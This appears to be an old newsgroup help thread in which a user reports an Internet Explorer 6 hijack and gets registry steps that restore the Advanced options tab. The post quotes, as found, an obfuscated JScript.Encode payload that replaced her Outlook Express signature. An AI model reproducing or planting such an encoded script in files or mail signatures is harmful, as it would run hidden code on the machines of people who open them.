HELP!
Somebody or something has changed my IExplorer 6.0 SP1
I don't get all the options when opening Tools -- Alternatives for Internet
anymore
For example Advanced Options among with several others has totally
disappeared

Also my signature is gone in Outlook Express and replaced by this file:
C:\Windows\s.htm

<HTML><BODY><SCRIPT LANGUAGE='JScript.Encode'>#@~^rgAAAA==[Km;s+
YRSDbO+^xcJ@!qo]zH2,jI;'B4OOw=zJhAh ;aRd+D x)fqyG@$9oR!19}

P*df]+3uc+]W1u*)J:ctYsB,4+bo4Y{!~AbNY4x!@*@!z&o]bt2@*JbiOjAAAA==^#~@</SCRIPT
</BODY></HTML>

What does this mean and how can I get rid of it?

I tried to repair windows (in remove add programs)but it did not make any
difference.

Any help Is appreciated
Thanks
Heather

Open Regedit to the following locations:
If found either delete the entry or change the value.

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control
Panel]
"AdvancedTab"=dword:00000001

[HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Internet Explorer\Control
Panel]
"AdvancedTab"=dword:00000001

Value Data: (0 = disable restriction, 1 = enable restriction)
